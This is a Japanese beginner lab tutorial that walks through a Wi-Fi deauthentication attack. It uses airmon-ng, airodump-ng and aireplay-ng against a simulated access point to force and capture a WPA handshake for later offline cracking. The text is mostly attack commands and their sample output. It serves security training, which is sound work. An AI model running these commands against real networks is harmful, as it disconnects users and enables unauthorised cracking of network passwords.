aireplay-ng のデアセンティケーション攻撃で WPA ハンドシェイクを強制する

Beginner
オンラインで実践に進む

はじめに

WPA ハンドシェイクキャプチャを強制する実験へようこそ。WPA/WPA2 の 4 ウェイハンドシェイクは、Wi-Fi ネットワークのパスワードをクラックしようとする際に必要となる重要なデータです。デバイスがネットワークに接続するのをパッシブに待ってこのハンドシェイクをキャプチャすることもできますが、時間がかかる場合があります。

よりアクティブなアプローチは、現在接続されているクライアントを切断させ、すぐに再接続させることです。このプロセスは、デアセンティケーション(または「deauth」)攻撃と呼ばれます。クライアントが再接続すると、4 ウェイハンドシェイクが実行され、それをキャプチャできます。

この実験では、aircrack-ngスイートの強力なツールであるaireplay-ngを使用して、シミュレートされた Wi-Fi クライアントに対してデアセンティケーション攻撃を実行します。これにより、分析のために WPA ハンドシェイクを確実にキャプチャできるようになります。私たちの実験環境は、MyTestAPという名前の仮想ワイヤレスアクセスポイント(AP)と接続されたクライアントで事前に設定されています。

airodump-ng スキャンから関連付けられたクライアントを特定する

このステップでは、ワイヤレスインターフェイスを監視用に準備し、次に airodump-ng を使用してターゲットのアクセスポイントとその接続されているクライアントを見つけます。

まず、仮想ワイヤレスインターフェイスのいずれかをモニターモードにする必要があります。このモードにより、インターフェイスは自分宛てのトラフィックだけでなく、空中のすべての Wi-Fi トラフィックをキャプチャできるようになります。ここでは wlan1 インターフェイスを使用します。

次のコマンドを実行して、wlan1 でモニターモードを開始します。

sudo airmon-ng start wlan1

このコマンドは、通常 wlan1mon という名前の新しいモニターインターフェイスを作成します。モードが有効になったことを確認する出力が表示されるはずです。

PHY     Interface       Driver          Chipset

phy0    wlan0           mac80211_hwsim  Software simulator
phy1    wlan1           mac80211_hwsim  Software simulator

                (mac80211 monitor mode vif enabled for [phy1]wlan1 on [phy1]wlan1mon)
                (mac80211 station mode vif disabled for [phy1]wlan1)

次に、新しいモニターインターフェイス (wlan1mon) で airodump-ng を実行してスキャンを開始します。キャプチャしたパケットを capture という名前のファイルに書き込むために -w フラグを使用し、ターゲット AP の BSSID とチャネルを指定してスキャンを絞り込みます。シミュレートされた AP の BSSID は 02:00:00:00:01:00 で、チャネルは 6 です。

sudo airodump-ng -w capture --bssid 02:00:00:00:01:00 -c 6 wlan1mon

airodump-ng を実行したままにします。リアルタイムで更新される画面が表示されます。上部には近くのアクセスポイントがリストされ、下部にはそれらに接続されているクライアントがリストされます。私たちの AP である MyTestAP と、それに接続されている 1 つのクライアントが表示されるはずです。

出力は次のようになります。

CH  6 ][ Elapsed: 10 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 02:00:00:00:01:00  -30       10        5    0   6  540  WPA2 CCMP   PSK  MyTestAP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 02:00:00:00:01:00  02:00:00:00:02:00  -35    0- 1      0        5

この出力から、以下を特定してメモしてください。

  • BSSID: 02:00:00:00:01:00 (AP の MAC アドレス)。
  • STATION: 02:00:00:00:02:00 (接続されているクライアントの MAC アドレス)。

このターミナルは実行したままにしておきます。後でハンドシェイクキャプチャを確認する際に必要になります。

デアセンティケーション攻撃のための新しいターミナルを開く

このステップでは、新しいターミナルウィンドウを開きます。前のステップの airodump-ng コマンドは、WPA ハンドシェイクをリッスンするために最初のターミナルで実行し続ける必要があります。デアセンティケーション攻撃は、2 番目の別のターミナルから開始されます。

新しいターミナルを開くには、ターミナルウィンドウの上部にあるターミナルタブバーの + アイコンをクリックします。

Open New Terminal

新しいターミナルが開いたら、~/project ディレクトリにいるので、次のステップで攻撃コマンドを実行する準備ができています。攻撃自体の後続のすべてのコマンドは、この新しいターミナルで実行する必要があります。

--deauth を使用した aireplay-ng デアウコマンドの構築

このステップでは、デアセンティケーション攻撃を実行する aireplay-ng コマンドを構築します。ステップ 1 で収集した情報を使用します。

aireplay-ng を使用したデアウ攻撃の基本的な構文は次のとおりです。
aireplay-ng --deauth <パケット数> -a <APのBSSID> -c <クライアントのSTATION> <インターフェイス>

各コンポーネントの内訳は次のとおりです。

  • --deauth: このフラグは、デアセンティケーション攻撃モードを指定します。
  • <パケット数>: 送信するデアウパケットの数です。5 のような小さなバーストを送信すれば、通常はクライアントを切断するのに十分です。
  • -a <APのBSSID>: ターゲットアクセスポイントの MAC アドレスを指定します。ステップ 1 から、これは 02:00:00:00:01:00 です。
  • -c <クライアントのSTATION>: 切断したいクライアントの MAC アドレスを指定します。ステップ 1 から、これは 02:00:00:00:02:00 です。
  • <インターフェイス>: これはモニターモードのワイヤレスインターフェイスであり、wlan1mon です。

これで、新しいターミナルで完全なコマンドを組み立てます。正確には次のようになります。

sudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1mon

まだ Enter キーを押しないでください。次のステップでこのコマンドを実行します。

クライアントと AP をターゲットにした攻撃の実行

このステップでは、先ほど構築したコマンドを実行して攻撃を開始します。

2 番目のターミナルウィンドウで、Enter キーを押して aireplay-ng コマンドを実行します。

sudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1mon

ツールはすぐにデアセンティケーションパケットの送信を開始します。出力には時刻と、クライアントに直接デアウが送信されていることが表示されます。

出力は次のようになります。

10:35:10  Waiting for beacon frame (BSSID: 02:00:00:00:01:00) on channel 6
10:35:10  Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).
10:35:11  Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).
...

この攻撃は非常に高速です。コマンドを実行するとすぐに、ターゲットのクライアントはネットワークから切断され、すぐに再接続を試みます。この再接続プロセスが、キャプチャしたい WPA ハンドシェイクを生成します。

次のステップで結果を観察するために、すぐに最初のターミナル(airodump-ng を実行している方)に戻ってください。

airodump-ng ウィンドウでのハンドシェイクキャプチャの確認

このステップでは、airodump-ng ウィンドウで WPA ハンドシェイクメッセージを確認することで、デアセンティケーション攻撃が成功したことを確認します。

最初のターミナルに戻ってください。攻撃が成功した場合、airodump-ng の表示の右上隅に新しいメッセージが表示されます。

WPA handshake: 02:00:00:00:01:00

このメッセージは、airodump-ng が指定された BSSID の 4 ウェイハンドシェイクを正常に傍受し、記録したことを確認します。

CH  6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 02:00:00:00:01:00

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 02:00:00:00:01:00  -30       48       82    1   6  540  WPA2 CCMP   PSK  MyTestAP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 02:00:00:00:01:00  02:00:00:00:02:00  -36    0- 1      0       75

ハンドシェイクが取得できたので、キャプチャを停止できます。airodump-ng ターミナルで Ctrl+C を押して停止します。

ステップ 1 で -w capture フラグを使用したため、airodump-ng はキャプチャしたトラフィックを現在のディレクトリ(~/project)のファイルに保存しました。結果を確認するためにファイルを一覧表示します。

ls -l

capture で始まるいくつかのファイルが表示されるはずです。これには capture-01.cap が含まれます。この .cap ファイルには、先ほどキャプチャした WPA ハンドシェイクを含む生のパケットデータが含まれています。

-rw-r--r-- 1 root  root    450 Oct 27 10:36 capture-01.cap
-rw-r--r-- 1 root  root    892 Oct 27 10:36 capture-01.csv
-rw-r--r-- 1 root  root    634 Oct 27 10:36 capture-01.kismet.csv
-rw-r--r-- 1 root  root    128 Oct 27 10:36 capture-01.kismet.netxml
-rw-r--r-- 1 labex labex   121 Oct 27 10:28 hostapd.conf
-rw-r--r-- 1 labex labex    52 Oct 27 10:28 wpa_supplicant.conf

capture-01.cap ファイルが成果物です。これは現在、aircrack-ng のようなパスワードクラッキングツールで使用して、ネットワークの事前共有キー(PSK)を発見しようとすることができます。

まとめ

この実験の完了、おめでとうございます!デアセンティケーション攻撃を実行し、WPA ハンドシェイクを強制的にキャプチャすることに成功しました。

この実験では、以下の方法を学びました。

  • airmon-ng を使用してワイヤレスインターフェイスをモニターモードにする方法。
  • airodump-ng を使用してターゲット AP とクライアントをスキャンし、特定する方法。
  • aireplay-ng を使用してデアセンティケーション攻撃を構築し、実行する方法。
  • WPA ハンドシェイクのキャプチャを確認し、結果の .cap ファイルを見つける方法。

これは、ワイヤレスネットワークセキュリティテストにおける基本的なスキルです。キャプチャされたハンドシェイクファイルは、次のフェーズの主要な材料となります。それは、aircrack-ng のようなツールと包括的な単語リストを使用したオフラインパスワードクラッキングです。